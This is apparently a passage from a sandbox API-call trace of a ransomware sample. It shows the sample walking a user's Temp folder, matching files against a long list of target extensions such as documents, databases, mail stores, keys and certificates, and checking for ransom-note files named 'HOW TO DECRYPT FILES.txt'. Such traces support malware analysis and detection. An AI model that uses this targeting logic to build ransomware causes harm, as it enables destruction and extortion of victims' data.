[0086.819] lstrlenA (lpString="*.nef") returned 5 [0086.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.svg") returned 0 [0086.819] lstrlenA (lpString="*.svg") returned 5 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.psd") returned 0 [0086.820] lstrlenA (lpString="*.psd") returned 5 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.vmx") returned 0 [0086.820] lstrlenA (lpString="*.vmx") returned 5 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.vmdk") returned 0 [0086.820] lstrlenA (lpString="*.vmdk") returned 6 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.vdi") returned 0 [0086.820] lstrlenA (lpString="*.vdi") returned 5 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.lay6") returned 0 [0086.820] lstrlenA (lpString="*.lay6") returned 6 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.mpeg") returned 0 [0086.820] lstrlenA (lpString="*.mpeg") returned 6 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.djvu") returned 0 [0086.820] lstrlenA (lpString="*.djvu") returned 6 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.tiff") returned 0 [0086.820] lstrlenA (lpString="*.tiff") returned 6 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.backup") returned 0 [0086.820] lstrlenA (lpString="*.backup") returned 8 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.pdf") returned 0 [0086.820] lstrlenA (lpString="*.pdf") returned 5 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.cert") returned 0 [0086.820] lstrlenA (lpString="*.cert") returned 6 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.docm") returned 0 [0086.820] lstrlenA (lpString="*.docm") returned 6 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.xlsm") returned 0 [0086.820] lstrlenA (lpString="*.xlsm") returned 6 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.dwg") returned 0 [0086.820] lstrlenA (lpString="*.dwg") returned 5 [0086.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.nd") returned 0 [0086.821] lstrlenA (lpString="*.nd") returned 4 [0086.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.tlg") returned 0 [0086.821] lstrlenA (lpString="*.tlg") returned 5 [0086.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.lgb") returned 0 [0086.821] lstrlenA (lpString="*.lgb") returned 5 [0086.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.mov") returned 0 [0086.821] lstrlenA (lpString="*.mov") returned 5 [0086.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.xdw") returned 0 [0086.821] lstrlenA (lpString="*.xdw") returned 5 [0086.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.ods") returned 0 [0086.821] lstrlenA (lpString="*.ods") returned 5 [0086.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.wav") returned 0 [0086.821] lstrlenA (lpString="*.wav") returned 5 [0086.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.mp3") returned 0 [0086.821] lstrlenA (lpString="*.mp3") returned 5 [0086.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.aiff") returned 0 [0086.821] lstrlenA (lpString="*.aiff") returned 6 [0086.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.flac") returned 0 [0086.821] lstrlenA (lpString="*.flac") returned 6 [0086.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.m4a") returned 0 [0086.821] lstrlenA (lpString="*.m4a") returned 5 [0086.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi", pszSpec="*.csv") returned 0 [0086.821] lstrlenA (lpString="*.csv") returned 5 [0086.821] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41da7320, ftCreationTime.dwHighDateTime=0x1d5d8a0, ftLastAccessTime.dwLowDateTime=0xcb2566b0, ftLastAccessTime.dwHighDateTime=0x1d5e509, ftLastWriteTime.dwLowDateTime=0xcb2566b0, ftLastWriteTime.dwHighDateTime=0x1d5e509, nFileSizeHigh=0x0, nFileSizeLow=0x17859, dwReserved0=0x0, dwReserved1=0x0, cFileName="V4Ck-O6G.rtf", cAlternateFileName="")) returned 1 [0086.821] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.821] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="V4Ck-O6G.rtf") returned -1 [0086.821] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="V4Ck-O6G.rtf") returned -1 [0086.821] lstrcmpiA (lpString1="", lpString2="V4Ck-O6G.rtf") returned -1 [0086.821] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uPZxP9pjQnZ.avi") returned="uPZxP9pjQnZ.avi" [0086.822] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.822] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.822] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.822] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.822] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="V4Ck-O6G.rtf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf" [0086.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.ems") returned 0 [0086.822] lstrlenA (lpString="*.ems") returned 5 [0086.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.db") returned 0 [0086.822] lstrlenA (lpString="*.db") returned 4 [0086.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.dbf") returned 0 [0086.822] lstrlenA (lpString="*.dbf") returned 5 [0086.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.myox") returned 0 [0086.822] lstrlenA (lpString="*.myox") returned 6 [0086.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.myo") returned 0 [0086.822] lstrlenA (lpString="*.myo") returned 5 [0086.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.qbw") returned 0 [0086.822] lstrlenA (lpString="*.qbw") returned 5 [0086.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.qbb") returned 0 [0086.822] lstrlenA (lpString="*.qbb") returned 5 [0086.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.qbm") returned 0 [0086.822] lstrlenA (lpString="*.qbm") returned 5 [0086.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.qbo") returned 0 [0086.822] lstrlenA (lpString="*.qbo") returned 5 [0086.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.qbx") returned 0 [0086.822] lstrlenA (lpString="*.qbx") returned 5 [0086.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.qba") returned 0 [0086.823] lstrlenA (lpString="*.qba") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.qby") returned 0 [0086.823] lstrlenA (lpString="*.qby") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.qbj") returned 0 [0086.823] lstrlenA (lpString="*.qbj") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.ofx") returned 0 [0086.823] lstrlenA (lpString="*.ofx") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.qif") returned 0 [0086.823] lstrlenA (lpString="*.qif") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.mye") returned 0 [0086.823] lstrlenA (lpString="*.mye") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.mbox") returned 0 [0086.823] lstrlenA (lpString="*.mbox") returned 6 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.eml") returned 0 [0086.823] lstrlenA (lpString="*.eml") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.pst") returned 0 [0086.823] lstrlenA (lpString="*.pst") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.ost") returned 0 [0086.823] lstrlenA (lpString="*.ost") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.idx") returned 0 [0086.823] lstrlenA (lpString="*.idx") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.dbx") returned 0 [0086.823] lstrlenA (lpString="*.dbx") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.sql") returned 0 [0086.823] lstrlenA (lpString="*.sql") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.mdb") returned 0 [0086.823] lstrlenA (lpString="*.mdb") returned 5 [0086.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.fdb") returned 0 [0086.824] lstrlenA (lpString="*.fdb") returned 5 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.wab") returned 0 [0086.824] lstrlenA (lpString="*.wab") returned 5 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.dat") returned 0 [0086.824] lstrlenA (lpString="*.dat") returned 5 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.txt") returned 0 [0086.824] lstrlenA (lpString="*.txt") returned 5 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.jpeg") returned 0 [0086.824] lstrlenA (lpString="*.jpeg") returned 6 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.jpg") returned 0 [0086.824] lstrlenA (lpString="*.jpg") returned 5 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.png") returned 0 [0086.824] lstrlenA (lpString="*.png") returned 5 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.php") returned 0 [0086.824] lstrlenA (lpString="*.php") returned 5 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.cs") returned 0 [0086.824] lstrlenA (lpString="*.cs") returned 4 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.cpp") returned 0 [0086.824] lstrlenA (lpString="*.cpp") returned 5 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.rar") returned 0 [0086.824] lstrlenA (lpString="*.rar") returned 5 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.zip") returned 0 [0086.824] lstrlenA (lpString="*.zip") returned 5 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.html") returned 0 [0086.824] lstrlenA (lpString="*.html") returned 6 [0086.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.htm") returned 0 [0086.825] lstrlenA (lpString="*.htm") returned 5 [0086.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.xlsx") returned 0 [0086.825] lstrlenA (lpString="*.xlsx") returned 6 [0086.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.xls") returned 0 [0086.825] lstrlenA (lpString="*.xls") returned 5 [0086.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.mp4") returned 0 [0086.825] lstrlenA (lpString="*.mp4") returned 5 [0086.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.ppt") returned 0 [0086.825] lstrlenA (lpString="*.ppt") returned 5 [0086.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.pptx") returned 0 [0086.825] lstrlenA (lpString="*.pptx") returned 6 [0086.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.doc") returned 0 [0086.825] lstrlenA (lpString="*.doc") returned 5 [0086.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.dot") returned 0 [0086.825] lstrlenA (lpString="*.dot") returned 5 [0086.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.docx") returned 0 [0086.825] lstrlenA (lpString="*.docx") returned 6 [0086.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.7z") returned 0 [0086.825] lstrlenA (lpString="*.7z") returned 4 [0086.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.tar") returned 0 [0086.825] lstrlenA (lpString="*.tar") returned 5 [0086.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.bz2") returned 0 [0086.825] lstrlenA (lpString="*.bz2") returned 5 [0086.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.gz") returned 0 [0086.826] lstrlenA (lpString="*.gz") returned 4 [0086.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.mkv") returned 0 [0086.826] lstrlenA (lpString="*.mkv") returned 5 [0086.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.eml") returned 0 [0086.826] lstrlenA (lpString="*.eml") returned 5 [0086.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.msg") returned 0 [0086.826] lstrlenA (lpString="*.msg") returned 5 [0086.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.edb") returned 0 [0086.826] lstrlenA (lpString="*.edb") returned 5 [0086.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.accdb") returned 0 [0086.826] lstrlenA (lpString="*.accdb") returned 7 [0086.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.odb") returned 0 [0086.826] lstrlenA (lpString="*.odb") returned 5 [0086.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.java") returned 0 [0086.826] lstrlenA (lpString="*.java") returned 6 [0086.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.asm") returned 0 [0086.826] lstrlenA (lpString="*.asm") returned 5 [0086.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.pfx") returned 0 [0086.826] lstrlenA (lpString="*.pfx") returned 5 [0086.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.pem") returned 0 [0086.826] lstrlenA (lpString="*.pem") returned 5 [0086.827] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.p12") returned 0 [0086.827] lstrlenA (lpString="*.p12") returned 5 [0086.827] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.gpg") returned 0 [0086.827] lstrlenA (lpString="*.gpg") returned 5 [0086.827] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf", pszSpec="*.vsd") returned 0 [0086.827] lstrlenA (lpString="*.vsd") returned 5 [0086.827] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb51728d0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xb51728d0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xb51728d0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPDNSE", cAlternateFileName="")) returned 1 [0086.827] lstrcmpA (lpString1=".", lpString2="WPDNSE") returned -1 [0086.827] lstrcmpA (lpString1="..", lpString2="WPDNSE") returned -1 [0086.827] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\V4Ck-O6G.rtf") returned="V4Ck-O6G.rtf" [0086.827] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="WPDNSE" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE" [0086.827] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb51728d0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xb51728d0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xb51728d0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x50158a, cFileName=".", cAlternateFileName="")) returned 0x502658 [0086.828] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.828] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb51728d0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xb51728d0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xb51728d0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0086.828] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.828] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.828] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb51728d0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xb51728d0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xb51728d0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 0 [0086.828] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0086.828] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3fca07d0, ftCreationTime.dwHighDateTime=0x1d5de81, ftLastAccessTime.dwLowDateTime=0xbf161da0, ftLastAccessTime.dwHighDateTime=0x1d5dc36, ftLastWriteTime.dwLowDateTime=0xbf161da0, ftLastWriteTime.dwHighDateTime=0x1d5dc36, nFileSizeHigh=0x0, nFileSizeLow=0x10909, dwReserved0=0x500057, dwReserved1=0x4e0044, cFileName="XkyTFeM.wav", cAlternateFileName="")) returned 1 [0086.828] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.828] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="XkyTFeM.wav") returned -1 [0086.828] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="XkyTFeM.wav") returned -1 [0086.828] lstrcmpiA (lpString1="", lpString2="XkyTFeM.wav") returned -1 [0086.829] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS 